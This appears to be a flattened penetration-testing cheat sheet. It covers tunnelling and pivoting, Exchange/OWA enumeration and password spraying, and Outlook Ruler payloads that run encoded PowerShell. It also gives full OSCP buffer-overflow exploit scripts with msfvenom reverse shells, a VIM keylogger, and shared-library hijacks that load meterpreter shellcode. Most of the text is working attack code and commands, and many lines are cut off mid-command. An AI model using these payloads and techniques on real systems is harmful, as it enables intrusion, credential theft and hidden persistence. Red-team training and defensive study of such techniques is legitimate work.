root@victim:~$ sudo ip link add br0 type bridge
root@victim:~$ sudo ip link set eth0 master br0
root@victim:~$ sudo ip link set tap0 master br0
root@victim:~$ sudo ip link set br0 up

Get an IP address for tap on Attacker:

snovvcrash@attacker:~$ sudo dhclient -v tap0

SOCKS over Hardened SSH

[YouTube] HTB Business CTF 2022: Dirty Money - The Day Before

With AllowTcpForwarding set to no it's also possible to establish a SOCKS connection through
active SSH connection:

snovvcrash@attacker:~$ cat [Link]


ssh alice@victim "./socat TCP-LISTEN:2222,reuseaddr STDIO"
snovvcrash@attacker:~$ socat TCP:localhost:22 EXEC:./[Link]
alive@victim:~$ ssh -R 1080 -p 2222 snovvcrash@attacker

TCP over RDP

[Link]

xfreerdp + rdp2tcp

[Link]
[Link]

$ xfreerdp /u:snovvcrash /p:'Passw0rd!' [/d:[Link]] /v:[Link] /dynamic-re

Reverse local port 9002 (on Victim) to local port 9001 on Attacker (good for reverse shells):

$ python [Link] add reverse [Link] 9001 [Link] 9002

Forward local port 9001 (on Attacker) to local port 9002 on Victim (good for bind shells):
$ python [Link] add forward [Link] 9001 [Link] 9002

Reverse tunnel web access via SOCKS proxy:

[Link]

$ python [Link] add socks5 [Link] 1080


$ python [Link] add reverse [Link] 1080 [Link] 9003

Other xfreerdp tips:

Disable NLA with -sec-nla switch if user's password is expired.

Use /cert:ignore to always disable certificate prompt.

Use /timeout:25000 to increase timeout and avoid "Waiting for activation" error.

Tools

[Link]
[Link]

[Link]
[Link]
[Link]

proxychains-ng

[Link]

Install:

$ git clone [Link] ~/tools/proxychains-ng && cd ~/tools/prox


$ ./configure --prefix=/usr --sysconfdir=/etc
$ make
$ sudo make install
$ sudo make install-config
+ edit /etc/[Link]

sshuttle

[Link]
[Link]

$ sshuttle -vr snovvcrash@[Link] [Link]/24 -e "sshpass -p 'Passw0rd!' ssh"


$ sshuttle -vr snovvcrash@[Link] [Link]/24 -e "ssh -i ./key"

chisel

[Link]

[Link]

HTB{ Reddish }
snovvcrash@gh-pages:~$ _

Attacker's IP: [Link]

Victims's IP: [Link]

Reverse local port 1111 (on Victim) to local port 2222 (on Attacker):

$ ./chisel server -p 8000 -v --reverse


PS > (New-Object [Link]).DownloadFile("[Link] "$env:userprofil
PS > Get-FileHash -Alg md5 "$env:userprofile\music\[Link]"
PS > Start-Process -NoNewWindow -FilePath "$env:userprofile\music\[Link]" -ArgumentList "c

Socks5 proxy in server mode:

alice@victim:~$ nohup ./chisel server -p 8000 --socks5 &


snovvcrash@kali:~$ ./chisel client [Link]:8000 [[Link]:1080:]socks

Socks5 proxy in server mode when direct connection to Victim is not available (not relevant as Chisel
supports socks5 in client mode now):

snovvcrash@kali:~$ ./chisel server -p 8000 --reverse


alice@victim:~$ nohup ./chisel client [Link]:8000 R:[Link]:8001:[Link]:8002 &
alice@victim:~$ nohup ./chisel server -v -p 8002 --socks5 &
snovvcrash@kali:~$ ./chisel client [Link]:8001 [[Link]:1080:]socks

Socks5 proxy in client mode:

snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5 [--auth snovvcrash:'Passw0rd!']


alice@victim:~$ nohup ./chisel client [--fingerprint <BASE64_STRING>] [--auth snovvcrash:'Pass
Double SOCKS Proxy

Double SOCKS Proxy Scheme

snovvcrash@kali:~$ ./chisel server -p 8000 --reverse --socks5


alice@pivot1:~$ nohup ./chisel client [Link]:8000 R:socks &
alice@pivot1:~$ nohup ./chisel server -p 8000 --reverse --socks5 &
bob@pivot2:~$ nohup ./chisel client [Link]:8000 R:socks &
snovvcrash@kali:~$ cp /etc/[Link] .
snovvcrash@kali:~$ echo 'socks5 [Link] 1080' >> [Link]
snovvcrash@kali:~$ echo 'socks5 [Link] 1080' >> [Link]
snovvcrash@kali:~$ proxychains4 -f ./[Link] nmap -Pn -sT [Link] -p445

SharpChisel

[Link]
[Link]
[Link]

[Link]

revsocks

[Link]

snovvcrash@kali:~$ ./revsocks -listen :8000 -socks [Link]:1080 -pass 'Passw0rd!'


alice@victim:~$ ./revsocks -connect [Link]:8000 -pass 'Passw0rd!'

Neo-reGeorg

[Link]
[Link]

Generate a tunnel implant and copy it to the Victim web server from ./neoreg_servers/tunnel* :

$ python [Link] generate -k 'Passw0rd!'

Connect to the implant ( .aspx , for example):


$ python [Link] -k 'Passw0rd!' -u [Link] -l [Link] -p 133

Post Exploitation
General Post Exploitation

Linux

VIM Keylogger

Create a malicious VIM config that will save contents of a modified file when ran with sudo:

[Link]
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif

$ sudo -u victim mkdir -p /home/victim/.vim/plugin


$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6

Shared Libraries Hijacking

LD_LIBRARY_PATH

[Link]
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_LIBRARY_PATH.c

For example, target executable will be /usr/bin/top .

Code skeleton:

fakelib.c
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

static void hijack() __attribute__((constructor));

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=1337 -f c -o met.c --


unsigned char buf[] =
"\x31\x33\...\x33\x37";

void hijack() {
setuid(0);
setgid(0);
printf("Library hijacked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
intptr_t pagesize = sysconf(_SC_PAGESIZE);
mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
int (*ret)() = (int(*)())buf;
ret();
}

Get all shared libraries loaded by target executable:

$ ldd /usr/bin/top
...

[Link].0 => /lib/x86_64-linux-gnu/[Link].0

We'll be targeting the [Link].0 library. Include defined symbols of the original library in our
malicious library:

$ readelf -s --wide /lib/x86_64-linux-gnu/[Link].0 | grep FUNC | grep GPG_ERROR | awk

Create a map file with version information of defined symbols:

$ echo 'GPG_ERROR_1.0 {' > [Link]


$ readelf -s --wide /lib/x86_64-linux-gnu/[Link].0 | grep FUNC | grep GPG_ERROR | awk
$ echo '};' >> [Link]

Prepare the listener, compile, export LD_LIBRARY_PATH and run top:

$ gcc -Wall -fPIC -c -o fakelib.o fakelib.c


$ gcc -shared -Wl,--version-script [Link] -o [Link].0 fakelib.o
$ sudo LD_LIBRARY_PATH=/home/snovvcrash/ldlib top

LD_PRELOAD

[Link]
Snippets/blob/main/Linux%20Shellcode%20Loaders/sharedLibrary_LD_PRELOAD.c

For example, target executable will be /bin/cp .

Determine which functions are executed by /bin/cp via LD_PRELOAD :


$ ltrace cp
...
getuid()
...

We'll be hooking the getuid() function:

evilgetuid.c
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[Link] LPORT=1337 -f c -o met.c --


unsigned char buf[] =
"\x31\x33\...\x33\x37";

uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");

if (fork() == 0) // if inside the forked process


{
setuid(0);
setgid(0);
printf("Function hooked!\n");

int bufsize = (int)sizeof(buf);


for (int i = 0; i < bufsize-1; i++) {
buf[i] = buf[i] ^ 'a';
}

intptr_t pagesize = sysconf(_SC_PAGESIZE);


if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), page
perror("mprotect");
return -1;
}

int (*ret)() = (int(*)())buf;


ret();
}
else // if inside the original process
{
printf("Returning from original...\n");
return (*getuid_orig)();
}

printf("Returning from main...\n");


return -2;
}

Compile:

$ gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c


$ gcc -shared -o [Link] evilgetuid.o -ldl

Create an evil alias to preserve environment variables when running cp with sudo (good candidates are
.bashrc and .bash_profile ):

alias sudo="sudo LD_PRELOAD=/home/victim/[Link]"

Run the target executable:

$ sudo cp /etc/passwd /tmp/passwd

SNMP
Simple Network Management Protocol

Discover devices with default public string:

msf > use auxiliary/scanner/snmp/snmp_login


msf > set PASSWORD public
msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > set VERBOSE false
msf > set VERSION 2c
msf > run

onesixtyone

[Link]

Brute force public string:

$ onesixtyone -c /usr/share/seclists/Discovery/SNMP/[Link] [Link]


snmp-check
Collect data:

$ snmp-check -v 2c -c public [Link]


$ for i in `seq 1 254`; do snmp-check -v 2c -c public -t1 10.10.13.$i | grep -aA2 'System info

snmpwn

[Link]

$ ./[Link] --hosts [Link] --users [Link] --passlist [Link] --enclist passwords

TFTP
Trivial File Transfer Protocol

Enum with Nmap:

$ sudo nmap -sVU -p69 --script tftp-enum [Link]

Brute Force Filenames


Make a list of potential filenames. Use 8.3 notation:

PS > cmd /c dir /x


PS > cmd /c "for %I in (.) do @echo %~sI"

Download Python TFTP implementation and use the Bash script below:

[Link]

$ git clone [Link] && cd pyTFTP


$ ./[Link] [Link] [Link]

[Link]
#!/usr/bin/env bash
IP=$1
FILES=$2

while IFS= read -r file; do


echo -n "[*] Trying ${file}... "
if ./[Link] -g "${file}" "${IP}" > /dev/null 2>&1; then
echo "SUCCESS"
else
echo "FAIL"
fi
done < "${FILES}"

VNC
Virtual Network Computing

Enum with MSF:

msf > use auxiliary/scanner/vnc/vnc_none_auth


msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > run

TightVNC

[Link]

Decrypt TightVNC password with MSF:

msf > irb


>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
=> "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
=> true
>> Rex::Proto::RFB::[Link] ["f0f0f0f0f0f0f0f0"].pack('H*'), fixedkey
=> "<DECRYPTED>"

Misc
OSCP BOF
All you need to know about OSCP BOF challenge. A perfect example for practice – here on VulnHub, report
sample – here.

1. Determine EIP Offset


Generate unique pattern and feed it to the application:

$ msf-pattern_create -l 5000
$ python3 bof_send_pattern.py

bof_send_pattern.py
#!/usr/bin/env python3

# bof_send_pattern.py

import socket

buf = b'<UNIQUE_PATTERN>'
#buf += b'\r\n'

s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)
#print([Link](1024))
[Link]()

Calculate the offset from buffer to EIP overwrite point:

$ msf-pattern_offset -l 5000 -q <EIP_VALUE>


[*] Exact match at offset <EIP_OFFSET>

2. Confirm BOF
Confirm that you actually can control EIP value - if true it will be overwritten with D34DC0D3 :

$ python3 bof_confirm.py

bof_confirm.py
#!/usr/bin/env python3
# bof_confirm.py

import socket
import struct

def little_endian(num):
return [Link]('<I', num)

junk = b'A' * <EIP_OFFSET>


eip = little_endian(0xd34dc0d3)
offset = b'C' * 16

buf = junk + eip + offset


#buf += b'\r\n'

s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)

#print([Link](1024))
[Link]()

3. Enumerate Bad Characters


Send all the byte values to the application. Then in Immunity Debugger right click on ESP > "Follow in
Dump", and check what characters are missing or misinterpreted - they are the bad characters that should
be excluded when generating the shellcode:

$ python3 bof_bad_chars.py

bof_bad_chars.py
#!/usr/bin/env python3
# bof_bad_chars.py

import socket
import struct

def little_endian(num):
return [Link]('<I', num)

junk = b'A' * <EIP_OFFSET>


eip = little_endian(0xd34dc0d3)
offset = b'C' * 4

badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\
#badchars = '\x00'
buf = junk + eip + offset + badchars
#buf += b'\r\n'

s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)
#print([Link](1024))
[Link]()

4. Build the Exploit

I. Find a Return Address

List all loaded libraries in process memory space with mona:

!mona modules

Choose a module with no memory protections enabled.

Look for jmp esp instruction in that module:

$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Or
nasm > call esp
00000000 FFD4 call esp

!mona find -s "\xff\xe4" -m "[Link]"

Found pointer is the needed value for EIP to force the execution flow into malicious shellcode.

II. Generate a Shellcode

Build a shellcode providing bad characters set from (3):

$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -b "\x00"


$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -e x86/shikata_ga_na
$ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> EXITFUNC=thread -f python -e x
5 Exploit!
Start nc listener, feed the shellcode to the application and catch your shell:

$ python3 bof_exploit.py

bof_exploit.py
#!/usr/bin/env python3
# bof_exploit.py

import socket
import struct

def little_endian(num):
return [Link]('<I', num)

junk = b'A' * <EIP_OFFSET>


eip = little_endian(0xd34dc0d3)

offset = b'C' * 4
nops = b'\x90' * 10

buf = junk + eip + offset + nops


buf += b"<SHELLCODE>"
#buf += b'\r\n'

s = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](('[Link]', 1337))
#print([Link](1024))
[Link](buf)
#print([Link](1024))
[Link]()

RE
Reverse Engineering

RE

Ghidra

Install:

[Link]

$ mv /opt/tor-browser/Browser/Downloads/ghidra*.zip ~/tools
$ cd ~/tools && unzip ghidra*.zip && rm ghidra*.zip && mv ghidra* ghidra && cd -
$ sudo apt install openjdk-11-jdk

OSINT
Open Source Intelligence

[Link]

Emails

[Link]
[Link]

[Link]
[Link]

[Link]

Infoga

[Link]

$ ./[Link] -d [Link] -s all -b -r [Link] -v 2

Tools

theHarvester

[Link]

$ ./[Link] -d [Link] -g -s -r -f [Link] -b all

Shodan

[Link]
$ shodan init <API_KEY>
$ shodan count vuln:cve-1984-31337
$ shodan download [Link] vuln:cve-1984-31337 [--limit 1000]
$ gzip -d [Link]
$ shodan parse [Link] --fields=ip_str,port > [Link]

Password Brute Force

[Link]

[Link]

hashcat

$ hashcat --example-hashes | grep -B1 -i md5


$ hashcat -m 500 hashes/[Link] /usr/share/wordlists/[Link] --username
$ hashcat -m 500 hashes/[Link] --username --show

Benchmarks:

$ [Link]

# MD5
$ hashcat -m 0 -b
# NTLM
$ hashcat -m 1000 -b

Единица хэшрейта Хэшрейт Хэши в секунду

1kH/s 1000 Тысяча

1MH/s 1000000 Одинмиллион

1GH/s 1000000000 Одинмиллиард

1TH/s [Link].000 Одинтриллион

1PH/s [Link].000.000 Одинквадриллион

1EH/s [Link].000.000.000 Одинквинтиллион

1ZH/s [Link].[Link] Одинсекстиллион


TGS-REP with NTLM Wordlist

[Link]

Remove the following lines from m13100_a0-[Link] and compile:

// K=MD4(Little_indian(UNICODE(pwd))

append_0x80_2x4 (w0_t, w1_t, pw_len);

make_utf16le (w1_t, w2_t, w3_t);


make_utf16le (w0_t, w0_t, w1_t);

w3_t[2] = pw_len * 8 * 2;
w3_t[3] = 0;

digest[0] = MD4M_A;
digest[1] = MD4M_B;
digest[2] = MD4M_C;
digest[3] = MD4M_D;

md4_transform (w0_t, w1_t, w2_t, w3_t, digest);

// K1=MD5_HMAC(K,1); with 2 encoded as little indian on 4 bytes (02000000 in hexa);

w0_t[0] = digest[0];
w0_t[1] = digest[1];
w0_t[2] = digest[2];
w0_t[3] = digest[3];
w1_t[0] = 0;
w1_t[1] = 0;
w1_t[2] = 0;
w1_t[3] = 0;
w2_t[0] = 0;
w2_t[1] = 0;
w2_t[2] = 0;
w2_t[3] = 0;
w3_t[0] = 0;
w3_t[1] = 0;
w3_t[2] = 0;
w3_t[3] = 0;

To crack:

$ hashcat -m 13100 -O [Link] [Link] --self-test-disable --hex-wordlist

Generate Wordlists
hashcat
Potentially valid usernames, John Doe as an example:

[Link]

$ cat << EOF >> [Link]


johndoe
jdoe
[Link]
doe
EOF

Common usernames:

$ cat << EOF >> [Link]


admin
administrator

root
guest
sa
changeme
password
EOF

Common patterns:

$ cat << EOF >> [Link]


January
February
March
April
May
June
July
August
September
October
November
December
Autumn
Fall
Spring
Winter
Summer
password
Password
P@ssw0rd
secret
Secret
S3cret
EOF

Add year and exclamation point to the end of each password:

$ for i in $(cat [Link]); do echo "${i}"; echo "${i}\!"; echo "${i}2020"; echo "${i}202
$ cp t [Link]

Mutate the wordlist with hashcat rules:

$ hashcat --force --stdout [Link] -r /usr/share/hashcat/rules/[Link] -r /usr/share


$ cp t [Link]

kwprocessor

[Link]

$ ./kwp basechars/[Link] keymaps/[Link] routes/[Link]

cewl

$ cewl -d 5 -m 5 -w [Link] --with-numbers --email_file [Link] [Link]

Perimeter

[Link]
[Link]
DNS
$ nslookup [Link]
Subdomains & AXFR
AS details

$ whois [Link]
$ whois [Link]
Check for DNS Amplification

CMS, Stack, Vulns


WhatWeb, Wappalyzer
Shodan / Censys / SecurityTrails

Google Dorks
/[Link]

/[Link]

Autonomous Systems

[Link]

Info via IP

dig:

$ dig $(dig -x [Link] | grep PTR | tail -n 1 | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}

whois:

$ whois -h [Link] -- '-v [Link]'


$ whois -h [Link] [Link]

Info via ASN

whois:

$ whois -h [Link] -- '-v AS48666'


$ whois -h [Link] AS48666

Search AS

[Link]
[Link]

Map IP addresses to AS by origin and netname with ignoring potentionally unwanted netname values by
keywords:

[Link]
#!/bin/bash
# Usage: [Link] ip_list.txt

for ip in `cat $1`; do


WHOIS=`whois $ip`
ASNUM=`echo $WHOIS | grep -i "origin:" | tr -d ' ' | cut -d ":" -f 2 | tr $'\n' ','`
NETNAME=`echo $WHOIS | grep -i "netname:" | tr -d ' ' | cut -d ":" -f 2`
if ! echo "$NETNAME" | grep -iqF -e pppoe -e ipoe; then
echo "$ASNUM,$NETNAME,$ip"
fi
done

Difference between as-name, aut-num, origin, netname, etc. may be found on RIPE.

1C

[Link]
[Link]

[Link]

[Link]

List all users if it's not disabled:

$ curl [Link]
$ curl [Link]

ADFS
Active Directory Federation Services

Tools

ADFSpray

[Link]

Spray at autodiscover (NTLM auth) endpoint:

$ python3 [Link] -U [Link] -p 'Passw0rd!' -t '[Link]

adfsbrute
[Link]

Cisco

ASA Path Traversal


CVE-2020-3452

Check manually:

[Link]
[Link]

Check with MSF:

msf > use auxiliary/scanner/http/cisco_directory_traversal


msf > set RHOSTS file:[Link]

msf > run

Potentially existent files to prove the vulnerability:

apcf
app_index.html
[Link]
appstatus
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
clear_cache
color_picker.html
color_picker.js
[Link]
[Link]
connection_failed_form
cookie
custom
do_url
files
[Link]
help
home
http_auth.html
include
[Link]
localization_inc.lua
[Link]
[Link]
logon_custom.css
logon_forms.js
logon_redirect.html
[Link]
no_svc.html
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
[Link]
portal_ce.html
portal_custom.css
portal_elements.html
portal_forms.js
portal_img
portal_inc.lua
[Link]
[Link]
[Link]
[Link]
[Link]
sdesktop
sess_update.html
[Link]
session_expired
session_password.html
shshim
[Link]
test_chargen
tlbr
tunnel_linux.jnlp
tunnel_mac.jnlp
ucte_forbidden_data
ucte_forbidden_url
user_dialog.html
[Link]
[Link]
wrong_url.html
DNS
Domain Name System

whois
IP/domain info, IP ranges:

$ whois [-h [Link]] [Link] или [Link]

dig
General:

$ dig [@[Link]] [Link] [{any,a,mx,ns,soa,txt,...}]


$ dig -x [Link] [+short] [+timeout=1]

[Link]

Zone transfer:

$ dig axfr @[Link] [Link]


$ for srv in `cat [Link]`; do dig axfr "@$srv" [Link] | grep "failed" > /dev/null 2>&1

nslookup

$ nslookup [Link] [[Link]]


$ nslookup -type=ptr [Link]

$ nslookup
[> server [Link]]
> set q=mx
> [Link]

$ nslookup
> set q=ptr
> [Link]
DNS Amplification
Check:

$ host [Link] [Link]

$ dig +short @[Link] [Link] TXT


$ for srv in `cat [Link]`; do dig +short @$srv [Link] TXT | grep "open-resolve

$ sudo nmap -Pn -sU -sV --script dns-recursion -iL [Link] -p53
$ for srv in `cat [Link]`; do sudo nmap -Pn -sU -sV --script dns-recursion $srv -p53 | grep "

msf > use auxiliary/scanner/dns/dns_amp

Exchange

[Link]
[Link]

Pentesting Exchange Mindmap

GAL

Ruler

$ ./ruler -k -d [Link] -u snovvcrash -p 'Passw0rd!' -e snovvcrash@[Link] --verbose


MailSniper

PS > Get-GlobalAddressList -ExchHostname [Link] -UserName MEGACORP\snovvcrash -Passwo

OAB

Search for <OABUrl> node using Burp:

POST /autodiscover/[Link] HTTP/1.1


Host: [Link]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Authorization: Basic TUVHQUNPUlBcc25vdnZjcmFzaDpQYXNzdzByZCEK
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="[Link]

<Request>
<EMailAddress>snovvcrash@[Link]</EMailAddress>
<AcceptableResponseSchema>[Link]
</Request>
</Autodiscover>

Or with a Python script:

$ ./[Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -e 'exists@[Link]'


[*] Authenticated users's SID (X-BackEndCookie): S-1-5-21-3167813660-1240564177-918740779-3102
[+] DisplayName: Sam Freeside
[+] Server: 00ff00ff-00ff-00ff-00ff-00ff00ff00ff@[Link]
[+] AD: [Link]
[+] OABUrl: [Link]

Get [Link] and then [Link] :

$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' [Link]


$ cat [Link] | grep '.lzx' | grep data
$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' [Link]

Install libmspack:

$ git clone [Link] ~/tools/libmspack && cd ~/tools/libmspack/libmspa


$ sudo apt install autoconf automake libtool -y
$ ./[Link] && ./configure && make && cd -
Parse [Link] into [Link] and extract emails from [Link] with a regexp:

$ ~/tools/libmspack/libmspack/examples/oabextract [Link] [Link]


$ strings [Link] | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}" | sort -u > ema

ActiveSync

PEAS

[Link]
[Link]

[Link]

[Link]
[Link]

Install:

$ git clone [Link] ~/tools/peas-m && cd ~/tools/peas-m


$ python3 -m virtualenv --python=/usr/bin/python venv && source venv/bin/activate
(venv) $ pip install --upgrade 'setuptools<45.0.0'
(venv) $ pip install -r [Link]

Run:

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --check


$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --list-unc='\\DC01'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --list-unc='\\DC01\SY
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --dl-unc='\\DC01\shar
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --dl-unc='\\DC01\shar
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --crawl-unc='\\DC01\s
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --brute-unc [--prefix

How-To

1. Use Nmap http-ntlm-info to get NetBIOS domain name and Exchange hostname: hunting for
hostname pattern prefix if there is one.

2. Locate DC (guess it trying hostname pattern prefix) and mirror \\DC01\SYSVOL\[Link]\


share with --crawl-unc function:

$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] --crawl-unc='\\DC01\S


3. Find, xargs and grep for keywords in files: password , NetBIOS domain name (for additional account
names), hostname pattern prefix (for additional hosts/shares):

$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i -e password -e pass


$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <DOMAIN_NETBIOS_NAME>
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <PREFIX>

4. (optional) Brute other share names:

$ python -m peas --brute-unc -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' [Link] [--prefix

CVE-2020-0688

[Link]
server-through-fixed-cryptographic-keys
[Link]

[Link]

Get ViewStateUserKey: Browser > F12 > Storage > ASP.NET_SessionId


Get ViewStateGenerator: Browser > F12 > Console > [Link]("__VIEWSTATEGENERATO
PS > [[Link]]::ToBase64String([[Link]]::[Link]('$name = hostna
PS > .\[Link] -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -
[Link]

NSPI

[Link]
[Link]

>= Impacket v0.9.22.dev1+20200819.170651.b5fa089b

List Address Books and count entities in every one of them:

$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -debug nspi list-tables -count

Dump any specified Address Book by its name or GUID:

$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -debug nspi dump-tables -guid 0


$ cat [Link] | grep 'mail,' | sort -u | awk -F' ' '{print $3}' > [Link]
Return AD objects by their GUIDs:

PS > (Get-ADuser -Identity snovvcrash).ObjectGUID


$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -debug nspi guid-known -guid 00

Dump all AD records via requesting DNTs:

$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -debug nspi dnt-lookup -lookup-

Information Gathering

Google Dorks

site:[Link] filetype:(doc | docx | docm | xls | xlsx | xlsm | ppt | pptx | pptm | pdf |

site:[Link] ext:(config | cfg | ini | log | bak | backup | dat)


site:[Link] ext:(php | asp | aspx)
"@[Link]" email e-mail
"[Link]" site:[Link] | site:[Link] | site:[Link] | site:[Link]

IPSec
IP Security

IKE

[Link]
[Link]
[Link]
1/
[Link]

Get Transform Set

Using [Link] :

$ sudo python [Link] [Link] -a


Using ike-scan via brute force. Generate list of all transform-sets:

$ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3

Brute force supported transform-sets:

$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M --trans=$t [Link])
Or (for aggressive mode)
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M -A -P'[Link]' -n F
Or
$ sudo python [Link] -s1 -a [Link] # -s1 for max speed

Get Vendor Info

Get information about vendor:

$ sudo ike-scan -M --showbackoff [--trans=<TRANSFORM-SET>] [Link]

Test for Aggressive Mode

Test for aggressive mode ON:

$ sudo ike-scan -M -A -P -n FAKEID [--trans=<TRANSFORM-SET>] [Link]

Brute Force Group ID

If no hash value is returned then brute force is (maybe also) possible:

$ while read id; do (echo "[+] Valid ID: $id" && sudo ike-scan -M -A -n $id --trans=<TRANSFORM
Or
$ sudo python [Link] [Link] -e -w wordlists/[Link] -t <TRANSFORM-SET-IN-SEPA

Dictionaries:

/usr/share/seclists/Miscellaneous/[Link]

~/tools/ikeforce/wordlists/[Link]

Java RMI
Java Remote Method Invocation

Enumerate
Check if class loader is enabled:

msf > use auxiliary/scanner/misc/java_rmi_server


msf > set RHOSTS file:java_rmi.txt
msf > set THREADS 25
msf > run

Dump registry with MSF:

msf > use auxiliary/gather/java_rmi_registry


msf > set RHOSTS file:java_rmi.txt
msf > run

Dump registry with Nmap:

$ sudo nmap -sV --script "rmi-dumpregistry or rmi-vuln-classloader" [Link] -p1098

BaRMIe

[Link]

$ java -jar [Link] -enum [Link] 1098


$ java -jar [Link] -attack [Link] 1098

remote-method-guesser

[Link]

$ java -jar [Link] [Link] 1098 enum

rmiscout

[Link]
Lync & Skype for Business

lyncsmash

[Link]

$ python [Link] enum -H [Link] -U [Link] -p 'Passw0rd!' -d MEGACORP -o l

NTP
Network Time Protocol

NTP Amplification
Check:

$ ntpq -c rv [Link]

Outlook

Ruler

[Link]

Rules

[Link]
[Link]

Forms

[Link]
[Link]

Display forms:

$ ./ruler -k --nocache --url [Link] -


Exploit:

$ ./ruler -k --nocache --url [Link] -

[Link] :

CreateObject("[Link]").Run "powershell -exec bypass -enc <BASE64_CMD>", 0, false

Cleanup:

$ ./ruler -k --nocache --url [Link] -

Empire stager encryption:

$ grep -e output_type -e payload_type -e clean_output -e userdomain [Link]


output_type = GO
payload_type = DLL_x64
clean_output = True

userdomain = 'MEGACORP'
$ python [Link] [Link] [Link]
$ ./build_x64_go.sh output/go_symmetric_https443.[Link] [Link] --hidden

Homepage

[Link]
[Link]

Exploit:

$ ./ruler -k --nocache --url [Link] -

[Link] :

<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
Set Application = [Link]
Set cmd = [Link]("[Link]")
[Link]("powershell -exec bypass -e <BASE64_CMD>")
End Sub
-->

</script>
</head>

<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100
</body>
</html>

Cleanup:

$ ./ruler -k --nocache --url [Link] -

Stager encryption is the same as for Ruler/Forms.

OWA
Outlook Web Access

Enumerate Users

[Link]
enumeration/
[Link]

Authentication Request Kerberos Process Response Time

Non-existing realm KDC searches for realm 2-3 seconds

Realm exists but username does Pre-authentication ticket created


5-60 seconds
not exist to verify username

Pre-authentication ticket created


Realm and username exists < 2 seconds
to verify password

"Responses in different environments may have different response times but the pattern in the timing
response behavior still exist." (ref)

MSF

msf > use auxiliary/scanner/http/owa_login


msf
msf >
> set
set RHOST [Link]
USER_FILE [Link]
msf > set PASSWORD dummyPassword
msf > set THREADS 15
msf > run

MailSniper

[Link]

